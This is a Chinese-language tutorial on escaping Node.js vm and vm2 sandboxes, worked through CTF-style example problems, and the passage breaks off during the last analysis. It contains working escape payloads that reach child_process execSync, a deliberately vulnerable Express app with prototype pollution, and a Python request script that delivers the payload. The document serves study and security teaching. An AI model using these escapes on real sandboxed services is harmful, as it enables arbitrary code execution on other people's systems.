沙箱绕过
目录
1.概念
沙箱绕过"是指攻击者利用各种方法和技术来规避或绕过应用程序或系统中的沙箱(sandbox)。沙箱是一种安全机制,用于隔离和限制应用程序的执行环境,从而防止恶意代码对系统造成损害。它常被用于隔离不受信任的代码,以防止其访问敏感数据或对系统进行未授权的操作。
当攻击者成功绕过沙箱时,他们可以在受影响的系统上执行恶意代码,并且有可能获取敏感信息、传播恶意软件、执行拒绝服务攻击或利用系统漏洞等。
2.例题分析
2.1vm模块例题1(利用上下文对象或this指向)
先说一下最简单的vm模块,vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
示例
const vm = require('vm');
const script = `...`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
其实逃逸出沙箱就一种方法,就是拿到沙箱外部的变量或对象,然后用.toString方法和.constructor 属性来获取Function这个属性,然后拿到process,之后就可以执行任意代码了
这道例题可以直接拿this,因为这里没有方法使用了this,此时this指向global,构造如下payload
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
this.toString.constructor就是Function这个方法,然后利用Function返回process对象
然后调用子模块执行命令,成功绕过沙箱
这里可能会有疑问,为什么不用m、n来获取Function呢,m、n变量都是在外部定义的啊
这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是如果修改成{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。
最终用nodejs执行下面的代码
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
成功执行
2.2vm模块例题2(利用toString属性)
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
这道例题的this指向就变为null了,无法获取Function属性,上下文中也没有其他对象
此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。
arguments.callee是递归调用自身,.caller是一个指向调用当前函数的函数的引用。它提供了一种查找调用栈的方式,可以追溯到调用当前函数的函数。所以我们可以使用此方法来获取Function。
那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。
构造如下payload
(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()
这道题的巧妙之处就在于最后的console.log('Hello ' + res),此时res不是字符串,而当一个字符串与另一个非字符串结合时,会把res转为字符串,相当于res.toString,此时就调用了我们payload里面的函数,执行了命令
如果没有最后的console.log('Hello ' + res)这一句代码呢,我们还可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码,这里就不演示了
2.3vm2模块例题1(触发调用栈溢出异常)
但前两个例题主要说的是vm模块,vm本不是一个严格沙箱,只是隔离环境而已。而vm2是一个正经沙箱,难度相较于vm大得多
这道例题是用触发外部异常的方式来绕过的,但是vm2版本必须是在3.6.10之前
这个方法有趣的地方就在于,他是想办法在沙箱外的代码中触发一个异常,并在沙箱内捕捉,这样就可以获得一个外部变量e,再利用这个变量e的constructor执行代码。
而触发异常的方法就是“爆调用栈”,JavaScript在递归超过一定次数时就会抛出异常。
但我们需要保证的是:抛出异常的这个函数是在host作用域中(即沙箱外)。在js执行到1001次时,调用栈溢出,此时就会报错
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
但是好像v8引擎递归的默认限制是10000次,等了10多分钟也没有反应
2.4vm2模块例题(原型链污染+import动态导入)
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
console.log(new VM().run({}.shellcode));
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
之前讲过原型链污染,在这里就不赘述了
首先通过代码审计发现merge、clone方法,那么大概率存在原型链污染,再看if条件,需要copybody有shit属性,且为真才能进入backdoor()方法,再看backdoor()方法
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
分析new VM().run({}.shellcode),需要{}有shellcode属性,我们可以污染原型链来使空对象有shellcode属性,然后还需要逃逸出沙箱,这里没有上下文对象,我们可以使用动态导入元素的方法来绕过沙箱,构造以下payload
{"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')
res.toString.constructor(\"return this\")
().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
用Python发送post请求
import requests
import json
url="http://192.168.239.138:3000/"
headers={"Content-type":"application/json"}
data={"shit": "1", "__proto__": {"shellcode": "let res = import('./app.js')\n res.toString.constructor(\"return this\")\n ().process.mainModule.require(\"child_process\").execSync('whoami').toString();"}}
req=requests.post(url=url,headers=headers,data=json.dumps(data))
print(req.text)
最后成功复现(之前报错是因为没有写打印语句)
2.5vm2模块例题(正则绕过)
这道例题由于代码不全,无法复现,但是可以分析
const { VM } = require('vm2');
function safeEval(calc) {
if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return new VM().run(calc);
}
首先if判断,如果输入的calc参数没有匹配上这个正则,那if条件就会判为真,返回null,如果匹配上了这个正则,那就会被替换为空,if条件就会判为假,最终return new VM().run(calc),所以我们需要匹配上这个正则才行
这个正则可以分三部分
第一部分是必须有Math这个关键字,最后的?代表0次或者1次,所以Math.xxx和Math是都可以匹配上的
第二部分是匹配了+、-、*、/、&、|、^、%、<、>、=、,、?、:这些符号
第三部分是匹配了整数或者浮点数,比如3.14,也可以使用科学计数法,比如3.9e3
这个正则可以说过滤得比较严格,但是我们也可以绕过
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()
分析这个代码,首先正则肯定可以匹配上这段代码